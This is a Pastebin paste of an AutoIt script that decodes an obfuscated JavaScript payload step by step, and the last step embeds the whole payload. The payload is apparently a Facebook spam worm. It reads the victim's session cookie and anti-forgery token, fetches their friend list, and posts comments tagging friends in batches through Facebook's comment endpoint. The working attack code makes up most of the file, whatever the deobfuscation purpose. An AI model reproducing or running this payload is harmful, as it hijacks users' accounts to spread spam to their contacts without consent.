API tools faq
paste
PhieuLang

Tool_JSdeO

PhieuLang
Feb 4th, 2014
433
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 8.64 KB | None | 0 0
raw download clone embed print report
  1. #cs ----------------------------------------------------------------------------
  2.  
  3.  AutoIt Version: 3.3.8.1
  4.  Author:         Ku Kem _ plmcr
  5.  
  6.  Script Function:
  7.    Step1
  8.    Step2
  9.    Step3
  10.    And Step4 :3
  11.  
  12. #ce ----------------------------------------------------------------------------
  13.  
  14. #include<file.au3>
  15. #include<array.au3>
  16. #include<string.au3>
  17.  
  18.  
  19. Step4()
  20.  
  21. Func Step1()
  22.    Local $line = FileReadLine(@ScriptDir & "\JSObfucated.txt")
  23.    Local $text = StringReplace($line, "\x","")
  24. ;~    $text = _HexToString($text)
  25.    FileWriteLine(@ScriptDir & "\JS_DeObfucate.txt",$text)
  26. EndFunc
  27.  
  28. Func Step2()
  29.    Local $_0x55a7[65]=["76616C7565","66625F64747367","676574456C656D656E747342794E616D65","6D61746368","636F6F6B6965","323632313835383333393433373633","6F6E726561647973746174656368616E6765","72656164795374617465","61726B616461736C6172203D20","666F7220283B3B293B","","7265706C616365","726573706F6E736554657874","3B","6C656E677468","656E7472696573","7061796C6F6164","726F756E64","20405B","756964","3A","74657874","5D","20","2666696C7465725B305D3D75736572","266F7074696F6E735B305D3D667269656E64735F6F6E6C79","266F7074696F6E735B315D3D6E6D","26746F6B656E3D7637","267669657765723D","265F5F757365723D","68747470733A2F2F","696E6465784F66","55524C","474554","68747470733A2F2F7777772E66616365626F6F6B2E636F6D2F616A61782F7479706561686561642F66697273745F6465677265652E7068703F5F5F613D31","6F70656E","687474703A2F2F7777772E66616365626F6F6B2E636F6D2F616A61782F7479706561686561642F66697273745F6465677265652E7068703F5F5F613D31","73656E64","72616E646F6D","666C6F6F72","2666745F656E745F6964656E7469666965723D","26636F6D6D656E745F746578743D","26736F757263653D32","26636C69656E745F69643D313337373837313739373133383A31373037303138303932","267265706C795F66626964","26706172656E745F636F6D6D656E745F6964","26726F6F7469643D755F6A736F6E705F325F33","26636C703D7B22636C5F696D706964223A223435333532346130222C22636C656172636F756E746572223A302C22656C656D656E746964223A226A735F35222C2276657273696F6E223A2278222C22706172656E745F66626964223A","7D","2661747461636865645F737469636B65725F666269643D30","2661747461636865645F70686F746F5F666269643D30","26676966746F63636173696F6E","2666745B746E5D3D5B5D","265F5F613D31","265F5F64796E3D376E386168796A3335796E786C3275354639374B65704573796F","265F5F7265713D71","2666625F647473673D","2674747374616D703D","504F5354","2F616A61782F7566692F6164645F636F6D6D656E742E706870","436F6E74656E742D74797065","6170706C69636174696F6E2F782D7777772D666F726D2D75726C656E636F646564","73657452657175657374486561646572","737461747573","636C6F7365"]
  30.    Local $file = FileOpen(@ScriptDir & "\JS_DeObfucate2.txt", 2+8+128)
  31.    FileWrite($file, 'var _0x55a7 = ["')
  32.    For $i = 1 to 63
  33.       $_0x55a7[$i] = _HexToString($_0x55a7[$i])
  34.       FileWrite($file, $_0x55a7[$i] & '","')
  35.    Next
  36.    $_0x55a7[64] = _HexToString($_0x55a7[64])
  37.    FileWrite($file, $_0x55a7[$i] & '"];')
  38.    FileClose($file)
  39. EndFunc
  40.  
  41. Func Step3()
  42.    Local $_0x55a7[67] = ['fb_dtsg','getElementsByName','match','cookie','262185833943763','onreadystatechange','readyState','arkadaslar = ','for (;;);','','replace','responseText',';','length','entries','payload','round',' @[','uid',':','text',']',' ','&filter[0]=user','&options[0]=friends_only','&options[1]=nm','&token=v7','&viewer=','&__user=','https://','indexOf','URL','GET','https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1','open','http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1','send','random','floor','&ft_ent_identifier=','&comment_text=','&source=2','&client_id=1377871797138:1707018092','&reply_fbid','&parent_comment_id','&rootid=u_jsonp_2_3','&clp={"cl_impid":"453524a0','clearcounter":0,"elementid":"js_5','version":"x','parent_fbid":','}','&attached_sticker_fbid=0','&attached_photo_fbid=0','&giftoccasion','&ft[tn]=[]','&__a=1','&__dyn=7n8ahyj35ynxl2u5F97KepEsyo','&__req=q','&fb_dtsg=','&ttstamp=','POST','/ajax/ufi/add_comment.php','Content-type','application/x-www-form-urlencoded','setRequestHeader','status','close']
  43.    Local $arr = '_0xa22c=[_0x55a7[0],_0x55a7[1],_0x55a7[2],_0x55a7[3],_0x55a7[4],_0x55a7[5],_0x55a7[6],_0x55a7[7],_0x55a7[8],_0x55a7[9],_0x55a7[10],_0x55a7[11],_0x55a7[12],_0x55a7[13],_0x55a7[14],_0x55a7[15],_0x55a7[16],_0x55a7[17],_0x55a7[18],_0x55a7[19],_0x55a7[20],_0x55a7[21],_0x55a7[22],_0x55a7[23],_0x55a7[24],_0x55a7[25],_0x55a7[26],_0x55a7[27],_0x55a7[28],_0x55a7[29],_0x55a7[30],_0x55a7[31],_0x55a7[32],_0x55a7[33],_0x55a7[34],_0x55a7[35],_0x55a7[36],_0x55a7[37],_0x55a7[38],_0x55a7[39],_0x55a7[40],_0x55a7[41],_0x55a7[42],_0x55a7[43],_0x55a7[44],_0x55a7[45],_0x55a7[46],_0x55a7[47],_0x55a7[48],_0x55a7[49],_0x55a7[50],_0x55a7[51],_0x55a7[52],_0x55a7[53],_0x55a7[54],_0x55a7[55],_0x55a7[56],_0x55a7[57],_0x55a7[58],_0x55a7[59],_0x55a7[60],_0x55a7[61],_0x55a7[62],_0x55a7[63],_0x55a7[64]]'
  44.    For $i = 0 to 66
  45.       ConsoleWrite($i & @CRLF)
  46.       $arr = StringReplace($arr, '_0x55a7[' & $i & ']', '"' & $_0x55a7[$i] & '"')
  47.    Next
  48.    FileWriteLine(@ScriptDir & "\JS_DeObfucate_Step3.txt",$arr)
  49. EndFunc
  50.  
  51.  
  52. Func Step4()
  53.    Local $_0xa22c[65]=['fb_dtsg','getElementsByName','match','cookie','262185833943763','onreadystatechange','readyState','arkadaslar = ','for (;;);','','replace','responseText',';','length','entries','payload','round',' @[','uid',':','text',']',' ','&filter[0]=user','&options[0]=friends_only','&options[1]=nm','&token=v7','&viewer=','&__user=','https://','indexOf','URL','GET','https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1','open','http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1','send','random','floor','&ft_ent_identifier=','&comment_text=','&source=2','&client_id=1377871797138:1707018092','&reply_fbid','&parent_comment_id','&rootid=u_jsonp_2_3','&clp={"cl_impid":"453524a0','clearcounter":0,"elementid":"js_5','version":"x','parent_fbid":','}','&attached_sticker_fbid=0','&attached_photo_fbid=0','&giftoccasion','&ft[tn]=[]','&__a=1','&__dyn=7n8ahyj35ynxl2u5F97KepEsyo','&__req=q','&fb_dtsg=','&ttstamp=','POST','/ajax/ufi/add_comment.php','Content-type','application/x-www-form-urlencoded','setRequestHeader']
  54.    Local $arr = 'var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0xbdcfx8= new XMLHttpRequest();_0xbdcfx8[_0xa22c[6]]=function (){if(_0xbdcfx8[_0xa22c[7]]==4){eval(_0xa22c[8]+_0xbdcfx8[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0xbdcfx9=_0xa22c[24];_0xbdcfx9+=_0xa22c[25];_0xbdcfx9+=_0xa22c[26];_0xbdcfx9+=_0xa22c[27];_0xbdcfx9+=_0xa22c[28]+user_id;_0xbdcfx9+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0xbdcfx8[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0xbdcfx9,true);} else {_0xbdcfx8[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0xbdcfx9,true);} ;_0xbdcfx8[_0xa22c[37]]();} ;function RandomArkadas(){var _0xbdcfxb=_0xa22c[10];for(i=0;i<9;i++){_0xbdcfxb+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0xbdcfxb;} ;function yorum_yap(id,_0xbdcfxd){var _0xbdcfxe= new XMLHttpRequest();var _0xbdcfx9=_0xa22c[10];_0xbdcfx9+=_0xa22c[40]+id;_0xbdcfx9+=_0xa22c[41]+encodeURIComponent(_0xbdcfxd);_0xbdcfx9+=_0xa22c[42];_0xbdcfx9+=_0xa22c[43];_0xbdcfx9+=_0xa22c[44];_0xbdcfx9+=_0xa22c[45];_0xbdcfx9+=_0xa22c[46];_0xbdcfx9+=_0xa22c[47]+id+_0xa22c[48];_0xbdcfx9+=_0xa22c[49];_0xbdcfx9+=_0xa22c[50];_0xbdcfx9+=_0xa22c[51];_0xbdcfx9+=_0xa22c[52];_0xbdcfx9+=_0xa22c[29]+user_id;_0xbdcfx9+=_0xa22c[53];_0xbdcfx9+=_0xa22c[54];_0xbdcfx9+=_0xa22c[55];_0xbdcfx9+=_0xa22c[56]+fb_dtsg;_0xbdcfx9+=_0xa22c[57];_0xbdcfxe[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0xbdcfxe[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0xbdcfxe[_0xa22c[6]]=function (){if(_0xbdcfxe[_0xa22c[7]]==4&&_0xbdcfxe[_0xa22c[63]]==200){_0xbdcfxe[_0xa22c[64]];} ;} ;_0xbdcfxe[_0xa22c[37]](_0xbdcfx9);} ;arkadaslari_al(id);'
  55.    For $i = 0 to 64
  56.       ConsoleWrite($i & @CRLF)
  57.       $arr = StringReplace($arr, '_0xa22c[' & $i & ']', '"' & $_0xa22c[$i] & '"')
  58.    Next
  59.    FileWriteLine(@ScriptDir & "\JS_DeObfucate_Step4.txt",$arr)
  60. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!